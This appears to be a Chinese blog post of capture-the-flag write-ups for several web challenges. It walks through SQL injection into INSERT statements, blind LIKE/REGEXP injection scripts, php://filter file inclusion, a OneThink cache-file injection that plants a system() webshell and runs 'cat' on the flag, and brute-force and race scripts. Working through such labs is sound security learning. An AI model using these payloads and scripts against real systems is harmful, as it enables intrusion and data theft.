i春秋8

web——blog

尝试注入无果,决定注册登录看看,在看到可以上传图片的时候,试试文件上传,发现报错:
img
得知是kindeditor,寻找漏洞:https://www.jb51.net/hack/367946.html
尝试漏洞:

1
/kindeditor/php/file_manager_json.php?path=

目录下存在文件包含漏洞
img
但由于该漏洞只是目录遍历漏洞,所以没办法查看,于是回到前面,在post页面尝试一下sql注入,存在注入点,但是由于不知道列名所以union select一直使用不了,如果是过滤的话,当我输入select前台是可以回显的看一下wp,说是insert注入:
1.推断insert的字段数——4个:payload:4’,’5’)# 此时没有报错
2.构造注入语句,查看可回显字段位置,这里有个点,当我对后面的内容进行闭合注释的时候,发现网页是无回显内容的,推测可能注释了什么关键指令导致页面无法回显,所以这里的payload应写为:

1
2
3
4
5
1','1'),('aaa',(select database()),'c //miniblog
1','1'),('aaa',(select group_concat(table_name) from information_schema.tables where table_schema=database()),'c//posts,users
1','1'),('aaa',(select group_concat(column_name) from information_schema.columns where table_name='users'),'c//usernmae,password
1','1'),('aaa',(select group_concat(password) from users),'c //dbb616c5d935d8f34c12c291066d6fb7——>melody123

使用管理员账号密码登录发现有个manage页面,查看,有文件包含漏洞,但是依旧无法看源代码
法一:使用php://filter封装协议进行查看

flag{838c24a1-64d7-413b-8499-0ce7e32e0bef}
参考学习:https://www.smi1e.top/%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB%E6%BC%8F%E6%B4%9E%E4%B8%8Ephp%E4%BC%AA%E5%8D%8F%E8%AE%AE/
**法二:**来自张力学长的博客:
manager.php自包含产生栈溢出,down掉程序,php自启程序,但是写入的$_FILES[‘tmp’]存储在/tmp中没有被删除。

1
payload:?module=php://filter/convert.base64encode/resource=../flag.php&name=

flag{838c24a1-64d7-413b-8499-0ce7e32e0bef}
参考学习:https://www.smi1e.top/%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB%E6%BC%8F%E6%B4%9E%E4%B8%8Ephp%E4%BC%AA%E5%8D%8F%E8%AE%AE/
**法二:**来自张力学长的博客:
manager.php自包含产生栈溢出,down掉程序,php自启程序,但是写入的$_FILES[‘tmp’]存储在/tmp中没有被删除。看都看不懂–先学习一下原理再来补充

思路小结

整理一下这题的思路吧,看到login页面推测是注入——注入无果,注册账号登录页面继续探索——尝试上传木马来getshell,发现根本上传不了——看到路径信息,还有编辑器的名字——百度搜索已有漏洞,发现有文件浏览遍历漏洞——发现flag.php,无法使用php封装协议故无法打开源码——回到页面去寻找线索,在post页面尝试SQL注入,发现有注入点于是开始尝试注入——注入成功获得admin的密码——登录得到新页面manage——再次看到文件包含漏洞,发现可以使用php封装协议,读取源代码——获得flag

web——OneThink

原理在这里:https://ca3tie1.github.io/post/onethink10-code-execute-writeup/
总结起来就是:
我们注册的username会被缓存写入缓存文件夹中并进行注释,使得其中内容不会被执行,当我们在插入数据的前面添加换行符,我们的语句就绕过了注释符,就可以被执行,登录之后就会生成Runtime/Temp/2bb202459c30a1628513f40ab22fa01a.php文件夹,访问即可
首先确定我们想要插入的语句,这里就直接使用system拿flag吧:
$a=$_GET[‘a’];
system($a);
这里需要分两次进行注册,因为有长度限制

img ![img](https://raw.githubusercontent.com/Hwwg/myphoto/master/20210225122023.png) 这里说一下为啥需要url解码两次: 1.我们没办法直接打出有换行符的用户名,所以我们先借助url编码后的换行符,传入以后会经过urlcode,这个时候就变成了%250a,经过一次解码后变成%0a就不是换行符了,所以我们先打出%0a到burp suit里面,将其两次解码成换行符,然后会经过一次urlcod变成%0a接下来就会再次被解码为换行符了,就达到我们的目的了 **PS:**每次注册完都要登录,才会被写入缓存文件当中 访问一下链接,查看源码就可以看到flag了
1
Runtime/Temp/2bb202459c30a1628513f40ab22fa01a.php?a=cat ../../flag.php
1
flag{8e5702a3-5a1c-467b-9ad9-c771bd65dfea}

吐槽一波 这个简单是简单,就是太恶心了吧,验证码经常出错–,每次还要连续按两次啊

web——攻击

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
header("content-type:text/html;charset=utf-8");
show_source(__FILE__);
echo '<pre>';
include('u/ip.php');
include('flag.php');
if (in_array($_SERVER['REMOTE_ADDR'],$ip)){
die("您的ip已进入系统黑名单");
}
var_dump($ip);

if ($_POST[substr($flag,5,3)]=='attack'){
echo $flag;
}else if (count($_POST)>0){
$ip = '$ip[]="'.$_SERVER['REMOTE_ADDR'].'";'.PHP_EOL;
file_put_contents('u/ip.php',$ip,FILE_APPEND);
}


echo '</pre>';

根据以上代码我们可以知道,他一个ip只能攻击一次,但是它没对一次可以post的数据量限制,所以我们可以创建一个大字典,直接一起提交上去,他这边需要我们提交的是从flag第5位开始,一共三位的字符串,python脚本如下:

1
2
3
4
5
6
7
8
9
10
import requests
a = "0123456789abcdefgh"
data = {}
for i in a:
for j in a:
for k in a:
data[i+j+k]="attack"
print(data)
s=requests.post("http://ff9c93ad21d04a7982ebe8103dba94498e3845a6b33f49f5.changame.ichunqiu.com/",data=data)
print(s.text)

flag{269f92bb-9d65-44fc-8436-806b0bb6c5d1}

web——时间:

1
2
3
4
5
6
7
8
9
10
11
12
<?php 
header("content-type:text/html;charset=utf-8");
'天下武功唯快不破';
setcookie('token','hello');
show_source(__FILE__);
if ($_COOKIE['token']=='hello'){
$txt = file_get_contents('flag.php');
$filename = 'u/'.md5(mt_rand(1,1000)).'.txt';//生成一个随机txt文件
file_put_contents($filename,$txt);//将flag.php的内容写入txt中
sleep(10);
unlink($filename);
}

所以是这样的,当我们用名为token值为hello的cookie访问页面的时候,会生成一个随机txt文件,并且flag.php的内容会写入其中,经过十秒后,文件就会被删除,
1.先生成一个md5加密的文件名字典:

1
2
3
import hashlib
for i in range(1,1000):
print('u/'+hashlib.md5(str(i).encode('utf-8')).hexdigest()+'.txt')

这里既可以使用burpsuit去跑,也可以用御剑去跑,可能要多尝试几次,毕竟只有十秒钟,或者线程调大一些
img

1img

flag{913f76f9-9af0-4f9d-8c5b-a2195e64bd22}

web——登录

有个登录框:

1
2
admin'or 1=1#
admin'or 1=2#

回显不一样 第一个密码错误,第二个用户名错误,存在注入,burp suit跑一下看看过滤了什么
:img
记得以前看过like可以盲注,今天来学习一下:

LIKE语法

LIKE语句的语法格式是:
*select * from 表名 where 字段名 like 对应值(子串)*
它主要是针对字符型字段,它的作用是在一个字符型字段列中检索包含对应子串。
例子:
img

后面的%是一个通配符还有常用
更多的通配符参考:

img

_代表一个字符,例如D___就代表显示出以D为首后面接三个字符的数据
https://blog.csdn.net/derpvailzhangfan/article/details/2452064
而这里是不区分大小写的

构造盲注语句

1
2
1'or user_n3me like 'X%'#
1'or p3ss_w0rd like 'X%'#

这里说明一下为什么字段名为这两个,其实有点猜测的成分在这里,因为这题大部分函数都过滤了,所以想要得出字段名只能靠猜测,想起来之前也有一题也是这样的,字段名就藏在网页提交表单的表名中
img

接下来的任务就是编写盲注脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import requests
s=requests.session()
url=r"http://15de6b62f20a4f5ba230856fe9419aeef1b157ed7220439a.changame.ichunqiu.com/Challenges/login.php"
headers=s.get(url).headers
username=''
password=''
pay_try="0123456789abcdefghijklmnopqrstuvwxyz"
for j in range(0,10):
for i in pay_try:
payload = f"1'or user_n3me like '{username + i}%'#"
data = {'username': payload, 'password': 'test'}
if "密码错误" in s.post(url, data=data).text:
username += i
print(username)
break

得到用户名bctf3dm1n。密码的爆破就把payload的内容更换一下,这里说一下这个长度,由于我比较懒,所以就没爆破长度,直接去试,如果想要先爆破长度可以这样将like后面的内容换成_并且随着循环次数的增加_的数量会增加,if的判断是如果用户名错误,就直接终止整个程序

img img 这个看起来就像是MD5加密,解密一下得到:adminqwe123666 img 登录后得到这个信息,看起来像是git? 猜测是源码泄露,工具扫描一下 之前用的都是githack可能是我版本没更新一直没看下载完全 img 于是我换了一个git_extract,也不行??只有一个flag.php,问题出在哪了吗,看了一下wp发现也是这样写的呀,于是就直接去看了一下别人的题解,发现下载到那个文件以后,访问就可以看到flag了

REGEXP盲注语法:

注入原理
REGEXP注入,即regexp正则表达式注入。REGEXP注入,又叫盲注值正则表达式攻击。
应用场景就是盲注,原理是直接查询自己需要的数据,然后通过正则表达式进行匹配。
img

^表示pattern(模式串)的开头。即若匹配到username字段下id=1的数据开头为a,则返回1;否则返回0(
2)regexp关键字还可以代替where条件里的=号

1
select * from users where password regexp '^ad';

使用场景:

过滤了=、in、like

^若被过滤,可使用$来从后往前进行匹配

常用regexp正则语句:

1
2
3
regexp '^[a-z]'  #判断一个表的第一个字符串是否在a-z中
regexp '^r' #判断第一个字符串是否为r
regexp '^r[a-z]' #判断一个表的第二个字符串是否在a-z中

(3)在联合查询中的使用

1
1 union select 1,database() regexp '^s',3--+

盲注

2.判断数据库名

1
2
' or database() regexp '^s'--+ 正常
' or database() regexp 'y$'--+ 正常

和上面的like差不多不过通配符不太一样

Author

vague huang

Posted on

2021-02-24

Updated on

2021-02-25

Licensed under

Comments